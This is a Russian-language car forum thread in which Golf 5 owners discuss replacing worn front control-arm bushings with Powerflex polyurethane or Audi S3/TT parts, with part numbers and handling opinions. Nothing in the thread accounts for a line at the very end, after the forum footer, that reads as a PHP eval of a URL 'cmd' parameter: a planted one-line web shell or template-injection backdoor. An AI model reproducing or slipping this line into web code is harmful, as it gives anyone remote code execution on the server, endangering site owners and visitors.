+ Ответить в теме
Страница 1 из 3 1 2 3 ПоследняяПоследняя
Показано с 1 по 10 из 28

Тема: полиуритан в подвеске


  1. #1

    полиуритан в подвеске

    Доброго времени суток!
    умирают задние сайленты передних рычагов..
    думал ставить powerflex, но возникли вопросы: есть ли смысл менять только задние, или всё же с передними заодно?
    нагрузка на передний же возрастёт? будет ли передний подвержен более сильному износу?

    и сильно ли жёстко станет? =)))
    какие у кого мысли по этому поводу?
    Гольф 5.

  2. #2
    GTI-Racing total is on a distinguished road Аватар для total
    Регистрация
    05.12.2006
    Машина
    MkV GTI
    Сообщений
    1,146
    поставь от S3, будет лучше и не жестко.
    Time attack
    Mkv gti
    ADM - 1.58,4
    Лидер - 1.02,5
    DC2
    ADM - 1.58,2
    Лидер - 1.01,2
    Smolenskring - 1.48,2
    NNRing - 1.53,8
    Kazanring - 1.43.863

  3. #3
    Авто Года 2010 Чуйкин has a spectacular aura about Чуйкин has a spectacular aura about Чуйкин has a spectacular aura about Аватар для Чуйкин
    Регистрация
    12.04.2006
    Откуда
    Москвабад
    Машина
    Golf 1.8t 460лс 520Нм
    Сообщений
    2,543
    Цитата Сообщение от shandy_here Посмотреть сообщение
    Доброго времени суток!
    умирают задние сайленты передних рычагов..
    думал ставить powerflex, но возникли вопросы: есть ли смысл менять только задние, или всё же с передними заодно?
    нагрузка на передний же возрастёт? будет ли передний подвержен более сильному износу?

    и сильно ли жёстко станет? =)))
    какие у кого мысли по этому поводу?
    Гольф 5.
    полиуритан говно! не ставь.. я поставил- эффект 0, убились быстро

  4. #4
    ставь от тт , они крепче !!!!! Машина станет другая в управлении и не будет плавать !!!!!!!

  5. #5
    небольшая поправка и дополнение =)

    есть ли смысл морочиться, если стоят пружины koni sport – 35mm и аморты от GTI?

    подскажите по номерам!(всё смотрел 2007год)
    оригинал: 1K0199231J(1K0199232J) лев(прав)
    А3(S3): 1K0199231J(1K0199232J) лев(прав)
    ТТ(TTS): 8j0199231
    один номер на обе стороны? и что-то рычаг какой-то не такой
    меня терзают смутные сомнения =))
    если судить по экзисту то есть ещё 1K0199231K(1K0199232K), что дороже на 200р. но так же как от ТТ.
    и вот какой-же в итоге нужен мне? =))
    Последний раз редактировалось shandy_here; 31.08.2010 в 19:48.

  6. #6
    GTI-Racing сидоров-1968 is on a distinguished road Аватар для сидоров-1968
    Регистрация
    23.02.2009
    Откуда
    ростов на дону
    Машина
    audi s3 8l 2003г
    Сообщений
    326
    не парься, рычаги на тт действительно другие(кованные), но сайленты бери от тт которые после замены идут они из цельнозалитой резины в алюминевой обойме! по размерам они такие же как на гольфе, посадочные размеры те же.

  7. #7
    GTI-Racing total is on a distinguished road Аватар для total
    Регистрация
    05.12.2006
    Машина
    MkV GTI
    Сообщений
    1,146
    я себе ставил с окончанием К
    вот моя тема про это
    http://gti-club.ru/forum/showthread.php?t=10429
    Time attack
    Mkv gti
    ADM - 1.58,4
    Лидер - 1.02,5
    DC2
    ADM - 1.58,2
    Лидер - 1.01,2
    Smolenskring - 1.48,2
    NNRing - 1.53,8
    Kazanring - 1.43.863

  8. #8
    GTI-Racing Амет is a jewel in the rough Амет is a jewel in the rough Амет is a jewel in the rough Аватар для Амет
    Регистрация
    16.09.2009
    Машина
    Cupra MK2
    Сообщений
    882
    ставь вместо задних антилифт от пауэрфлекса и вместо передних пауэрфлекс и будет счастье! Руль будет очень острым и в целом управляемость улучшиться.

    в переднее крепление пауэрфлекс могу свои отдать

  9. #9
    Цитата Сообщение от Амет Посмотреть сообщение
    ставь вместо задних антилифт от пауэрфлекса и вместо передних пауэрфлекс и будет счастье! Руль будет очень острым и в целом управляемость улучшиться.

    в переднее крепление пауэрфлекс могу свои отдать
    антилифт - это, как я понял, комплект перед-зад, одного рычага?
    про упровляемость понятно, а вот жёсткость?
    свои? вторые или вынул? если вынул, то почему? =))

  10. #10
    GTI-Racing Амет is a jewel in the rough Амет is a jewel in the rough Амет is a jewel in the rough Аватар для Амет
    Регистрация
    16.09.2009
    Машина
    Cupra MK2
    Сообщений
    882

    это антилифт, ставится только вместо задних креплений. смысл не только в полиуретане, но и в том что кастор двигается.
    жесче будет чуток, от этого никуда не деться. мои - новые, заказывал на всякий случай

+ Ответить в теме
Страница 1 из 3 1 2 3 ПоследняяПоследняя

Похожие темы

  1. скрип в задней подвеске((
    от 2esco в разделе Golf 6
    Ответов: 8
    Последнее сообщение: 02.01.2024, 10:33
  2. Скрип в подвеске.
    от 86RUS в разделе Ходовая
    Ответов: 3
    Последнее сообщение: 14.01.2010, 22:51
  3. Специалисты по подвеске!
    от Osmer в разделе Тюнинг: подвеска, ходовая, тормозная система, КПП
    Ответов: 5
    Последнее сообщение: 26.08.2009, 01:14
  4. Стук в подвеске
    от Иван Москва в разделе Ходовая
    Ответов: 10
    Последнее сообщение: 20.12.2006, 02:49
  5. Всё о Подвеске!!!
    от Merlin в разделе Тюнинг: подвеска, ходовая, тормозная система, КПП
    Ответов: 6
    Последнее сообщение: 02.08.2006, 10:28

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}